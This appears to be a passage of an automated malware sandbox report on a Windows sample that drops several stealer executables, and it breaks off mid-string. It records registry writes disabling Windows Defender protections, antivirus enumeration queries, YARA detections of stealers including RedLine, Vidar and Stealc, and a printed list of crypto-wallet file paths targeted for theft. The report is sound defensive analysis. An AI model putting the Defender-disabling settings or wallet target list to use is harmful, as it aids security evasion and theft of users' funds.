Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Queries volume information: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Queries volume information: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\lockfile VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe

5_2_0088FF00

Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe

5_2_0088FF00

Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe

5_2_0088FF00

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender real time protection (registry)

Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{A97AAAFE-0EBE-4230-8190-CFD83069315F}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions	Registry value created: Exclusions_Extensions 1	Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{A97AAAFE-0EBE-4230-8190-CFD83069315F}Machine\SOFTWARE\Policies\Microsoft\Windows Defender	Registry value created: DisableAntiSpyware 1	Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{A97AAAFE-0EBE-4230-8190-CFD83069315F}Machine\SOFTWARE\Policies\Microsoft\Windows Defender	Registry value created: DisableRoutinelyTakingAction 1	Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{A97AAAFE-0EBE-4230-8190-CFD83069315F}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableBehaviorMonitoring 1	Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{A97AAAFE-0EBE-4230-8190-CFD83069315F}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableOnAccessProtection 1	Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{A97AAAFE-0EBE-4230-8190-CFD83069315F}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableScanOnRealtimeEnable 1	Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{A97AAAFE-0EBE-4230-8190-CFD83069315F}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{A97AAAFE-0EBE-4230-8190-CFD83069315F}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{A97AAAFE-0EBE-4230-8190-CFD83069315F}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRawWriteNotification 1	Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{34625537-C776-4AA5-A2C7-1FF0E359A4A9}Machine\SOFTWARE\Policies\Microsoft\Windows Defender	Registry value created: DisableAntiSpyware 1
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{34625537-C776-4AA5-A2C7-1FF0E359A4A9}Machine\SOFTWARE\Policies\Microsoft\Windows Defender	Registry value created: DisableRoutinelyTakingAction 1
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{34625537-C776-4AA5-A2C7-1FF0E359A4A9}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions	Registry value created: Exclusions_Extensions 1
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{34625537-C776-4AA5-A2C7-1FF0E359A4A9}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableBehaviorMonitoring 1
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{34625537-C776-4AA5-A2C7-1FF0E359A4A9}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableOnAccessProtection 1
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{34625537-C776-4AA5-A2C7-1FF0E359A4A9}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableScanOnRealtimeEnable 1
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{34625537-C776-4AA5-A2C7-1FF0E359A4A9}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{34625537-C776-4AA5-A2C7-1FF0E359A4A9}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{34625537-C776-4AA5-A2C7-1FF0E359A4A9}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRawWriteNotification 1

Exclude list of file types from scheduled, custom, and real-time scanning

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Registry value created: Exclusions_Extensions 1			Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Registry value created: Exclusions_Extensions 1

Modifies Group Policy settings

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

File written: C:\Windows\System32\GroupPolicy\gpt.ini

Jump to behavior

Source: WjH5u4L3ZceSlLwRuJa2oMKn.exe, 0000000E.00000002.2133897678.00000000006B4000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : Select * From AntiVirusProduct
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : Select * From AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct

Stealing of Sensitive Information

Yara detected CryptOne packer

Source: Yara match

File source: 00000008.00000002.1925118088.00000000042D9000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected GCleaner

Source: Yara match	File source: 11.2.l9lSJ9GGGlvKrfyivpacgPFW.exe.3ab0e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.l9lSJ9GGGlvKrfyivpacgPFW.exe.3ab0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.l9lSJ9GGGlvKrfyivpacgPFW.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.l9lSJ9GGGlvKrfyivpacgPFW.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.2412464350.0000000000400000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2422594075.0000000003AB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected Mars stealer

Source: Yara match	File source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.3.va2JQfwFWdGawVd2zp4LeR00.exe.2d90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.3.va2JQfwFWdGawVd2zp4LeR00.exe.2d90000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000003.1903585809.0000000002D90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2458664896.0000000000400000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2470308542.0000000002D60000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected PureLog Stealer

Source: Yara match	File source: 17.2._C5tySJGGF0UA_S78re9UWIo.exe.4656ff0.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.0._C5tySJGGF0UA_S78re9UWIo.exe.ca0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2._C5tySJGGF0UA_S78re9UWIo.exe.4656ff0.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000002.2222007129.00000000045FC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000000.1874715442.0000000000CA2000.00000002.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe, type: DROPPED

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 25.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.Dnr7f7kJx0GzWtxbQaDXLIUA.exe.190000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000019.00000002.2491480085.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.2521398571.0000000002E47000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.1896456642.00000000001B7000.00000004.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Dnr7f7kJx0GzWtxbQaDXLIUA.exe PID: 7064, type: MEMORYSTR

Yara detected RisePro Stealer

Source: Yara match	File source: 00000010.00000003.2258790556.00000000016EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2258325722.0000000001701000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2084327302.0000000005F70000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2258481229.0000000001703000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2258325722.00000000016EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2258554267.00000000016EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2020504201.0000000006244000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2420174120.00000000016EF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2127239509.00000000064EF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2289582215.00000000016EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2418440068.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2107965730.0000000005F5D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2282956146.0000000005F44000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2021774077.0000000005BBE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: NRN3O_fFwiqNbjNW0Hj0MSKB.exe PID: 3912, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ezK8JIVGtHF75lpAeZwSuYWB.exe PID: 5344, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oRz0dgUR_xvbQVyt3Uz7F7QO.exe PID: 984, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: r7sW8wNeP3sav5N1yYLUJzML.exe PID: 3512, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\Ihgs8tzG2tUPMYg5nkH89YL.zip, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\rnzwrdDu3PH9Qq9rPTBAGEw.zip, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\9EqyzG_526pDOlT2Acj6hpa.zip, type: DROPPED

Yara detected Stealc

Source: Yara match	File source: 0000000A.00000002.2470528730.0000000002E40000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: va2JQfwFWdGawVd2zp4LeR00.exe PID: 3052, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.YsL35EpGrjU1rZchKY2714UT.exe.44d0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.F2MwMOxTR5ZuDHHYSd2btGVy.exe.6f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.YsL35EpGrjU1rZchKY2714UT.exe.44d0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.YsL35EpGrjU1rZchKY2714UT.exe.42a7719.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.YsL35EpGrjU1rZchKY2714UT.exe.4510000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.YsL35EpGrjU1rZchKY2714UT.exe.42a7719.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.3.va2JQfwFWdGawVd2zp4LeR00.exe.2d90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.YsL35EpGrjU1rZchKY2714UT.exe.4510000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.3.va2JQfwFWdGawVd2zp4LeR00.exe.2d90000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.1896458066.0000000000717000.00000004.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.1903585809.0000000002D90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2458664896.0000000000400000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1925118088.00000000041D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1950018220.0000000004510000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2470308542.0000000002D60000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1943771708.00000000044D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: YsL35EpGrjU1rZchKY2714UT.exe PID: 6448, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: va2JQfwFWdGawVd2zp4LeR00.exe PID: 3052, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: F2MwMOxTR5ZuDHHYSd2btGVy.exe PID: 5236, type: MEMORYSTR

Yara detected zgRAT

Source: Yara match	File source: 17.2._C5tySJGGF0UA_S78re9UWIo.exe.4656ff0.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2._C5tySJGGF0UA_S78re9UWIo.exe.4656ff0.6.raw.unpack, type: UNPACKEDPE

Found many strings related to Crypto-Wallets (likely being stolen)

Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2470528730.0000000002E92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local 